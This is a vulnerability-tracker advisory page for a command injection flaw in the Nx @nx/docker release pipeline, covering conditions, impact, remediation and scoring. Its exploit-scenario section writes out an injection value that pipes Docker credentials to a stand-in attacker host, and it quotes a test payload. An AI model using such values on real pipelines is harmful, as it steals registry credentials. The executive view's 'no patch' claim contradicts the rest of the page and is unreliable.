Skip to main content

Nx (@nx/docker) CVE-2026-104859

| EUVDEUVD-2026-91767 HIGH
OS Command Injection (CWE-78)
2026-10-02 GitHub_M GHSA-6vc5-vf29-ffr2
7.3
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit malicious PR editing Nx docker config
  2. Delivery
    Inject shell syntax into repositoryName/registryUrl
  3. Exploit
    Maintainer or CI runs nx release version/publish
  4. Execution
    /bin/sh -c executes injected commands
  5. Impact
    Exfiltrate registry credentials and cloud tokens

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the @nx/docker plugin to be configured with a release pipeline, and the attacker must get malicious values into release.docker.repositoryName or registryUrl - achievable via an untrusted pull request or any repository configuration change. Exploitation only fires when nx release version or nx release publish is actually executed by a maintainer or CI job; notably, dry-run publishing does NOT prevent the vulnerable pre-check (docker image lookup) command from running. Limiting factors: the vulnerable code path exists only in affected versions 21.4.0 through 22.7.7 and 23.0.0 through 23.1.0, only when docker releases are in use, and requires a trusted release job to pick up and execute the attacker-controlled config - so repositories that do not use @nx/docker releases, or that gate config changes behind review before release, are not exposed.

Impact

This is a genuine but conditional CI/CD supply-chain risk rather than a drive-by remote exploit. The CWE-78 command injection is real and clearly demonstrated by the vendor's own regression test (a '1.0.0; touch injected.txt' payload breaking out of the docker tag shell string), and the fix hardening exec/execSync into execFile/execFileSync confirms the root cause. However, the signals are mixed on urgency: the vendor-supplied CVSS 4.0 vector (AV:L/AT:P/UI:P) correctly reflects that exploitation is not a simple network blast - it requires the @nx/docker release pipeline to actually run and a maintainer/CI to invoke nx release. There is NO EPSS score, NO CISA KEV listing, and NO standalone public exploit (the PR test is a fix-side proof, not weaponized code), so this is best treated as 'no public exploit identified at time of analysis.' The high VC/VI/VA (credential and cloud-token exposure with release-job privileges) is what elevates this to a real priority for any org running Nx docker releases, especially because malicious input arrives via untrusted pull requests - a realistic threat model for public monorepos. Note PR:N in the vector is consistent with the attack model (an outside contributor needs no privileges to open a PR), but exploitation still depends on that PR's config being executed by a trusted release job.

Exploit ScenarioDerived

An attacker opens a pull request (or otherwise alters workspace configuration) that sets release.docker.repositoryName or registryUrl to a value containing shell metacharacters, e.g. myrepo; curl attacker/$(cat ~/.docker/config.json | base64). When a maintainer or CI runs nx release version or nx release publish, the value is interpolated into a /bin/sh -c string and the injected command runs with the release job's privileges, exfiltrating registry credentials or cloud tokens. No public weaponized exploit exists, but the vendor's regression test publicly demonstrates the injection technique, and dry-run mode does not prevent the vulnerable pre-check from executing.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 02, 2026

Command injection in the Nx @nx/docker release pipeline (nx 21.4.0 through 22.7.7 and 23.0.0 through 23.1.0) lets an attacker who can influence release.docker.repositoryName or registryUrl in repository configuration execute arbitrary shell commands with the privileges of the release job. Because the plugin builds docker tag, image-lookup, and docker push calls as shell strings passed to /bin/sh -c, a malicious pull request or config change that reaches a nx release version or nx release publish run can exfiltrate registry credentials and cloud tokens; dry-run publishing does NOT prevent the vulnerable image-lookup pre-check from firing. This is a genuine but conditional CI/CD supply-chain risk rather than a drive-by remote exploit, and no public exploit code or confirmed active exploitation was identified at time of analysis.

RemediationAI

Vendor-released patch: upgrade Nx to 22.7.8 (22.x line) or 23.1.1 (23.x line) or later, which converts the Docker tag, image-lookup, and push invocations to argv-array execution (execFile/execFileSync) so shell metacharacters can no longer break out; see advisory GHSA-6vc5-vf29-ffr2 and PR 36505. If immediate upgrade is not possible, remove or disable the @nx/docker release pipeline (drop the Docker plugin from nx release configuration and skip nx release version/nx release publish for Docker-targeted projects) until patched, since the vulnerable code path only executes during those commands - the trade-off is that Docker image versioning and publishing must be done manually or via a separate, isolated script. Additionally, treat release.docker.repositoryName and registryUrl as untrusted input: require code-owner review and branch protection for changes to those values, deny arbitrary config edits from fork pull requests, and avoid merging attacker-influenced nx configuration before a release run. Do not rely on --dry-run as a mitigation: the image-existence pre-check still executes the injected command. Finally, run release jobs with least-privilege, short-lived registry and cloud credentials scoped to a single repository and rotate any tokens that may have been exposed during an affected release, accepting that this limits rather than eliminates exfiltration impact.

Affected VersionsENISA

NX 23.0.0, < 23.1.1
NX 21.4.0, < 22.7.8

Affected Packages

npm @nx/docker fix: 22.7.8, 23.1.1
euvd nx_21_4_0 fix: 22.7.8
euvd nx_23_0_0 fix: 23.1.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is CWE-78 (OS command injection) caused by unsafe shell-string construction in the Nx @nx/docker plugin. Three code paths in the release pipeline - updateProjectVersion in packages/docker/src/release/version-utils.ts and the image-existence check plus docker push in packages/docker/src/executors/release-publish/release-publish.impl.ts - used execSync/exec with template-literal commands, so the image reference (assembled from workspace config, CLI flags, environment variables, and the .docker-version file) was interpolated directly into a string handed to the shell. Any shell metacharacter in release.docker.repositoryName, registryUrl, or a derived version therefore terminated the intended command (for example docker tag) and ran attacker-supplied commands. The upstream fix in PR 36505 replaces the shell-string APIs with argv-array variants (execFile, execFileSync), so arguments are passed to docker without shell interpretation; the accompanying e2e test should not run shell metacharacters in a docker version injects 1.0.0; touch injected.txt and asserts the file is not created. The affected package is identified by CPE cpe:2.3:a:nrwl:nx:*:*:*:*:*:*:*:*, with exposure limited to installations that actually use the @nx/docker release pipeline.

Know when Nx gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.3 HIGH
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

Malicious input is config/local (AV:L) and needs no attacker privileges to submit a PR (PR:N), but a trusted maintainer/CI must run the release (UI:R), yielding full code execution (C/I/A:H).

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Oct 02, 2026 - 19:03 EUVD
CVE Published
Oct 02, 2026 - 17:49 cve.org
HIGH 7.3

DescriptionCVE.org

Nx is a monorepo solution for TypeScript and polyglot codebases. From 21.4.0 until 22.7.8 and from 23.0.0 until 23.1.1, the @nx/docker release pipeline builds docker tag, image lookup, and docker push invocations as shell command strings. The release.docker.repositoryName and registryUrl configuration values are interpolated into those strings and passed to /bin/sh -c, allowing shell syntax in untrusted Nx configuration to execute during nx release version or nx release publish. A pull request or repository configuration change can therefore execute commands with the release job's privileges and expose registry credentials or cloud tokens, and dry-run publishing does not prevent the vulnerable pre-check command from executing. This issue is fixed in versions 22.7.8 and 23.1.1.

Technical POC Analysis

CWE-78 (OS command injection).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

The Nx @nx/docker release pipeline (versions 21.4.0 through 22.7.7 and 23.0.0 through 23.1.0) contains a command injection flaw that allows an attacker who can influence release configuration to execute arbitrary shell commands with release job privileges, potentially exfiltrating registry credentials and cloud tokens. This poses a conditional but serious CI/CD supply-chain risk to organizations using affected Nx versions, impacting development and release teams. Leadership should prioritize immediate access controls and monitoring while awaiting a vendor patch, as no public exploit identified at time of analysis.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis; interim mitigations include strict access control on release configuration (release.docker.repositoryName and registryUrl), least-privilege CI/CD runners, network egress filtering, frequent credential rotation, and monitoring for anomalous command execution.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Medium
Nx is a popular monorepo tool, but the @nx/docker release pipeline is a narrower subset
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy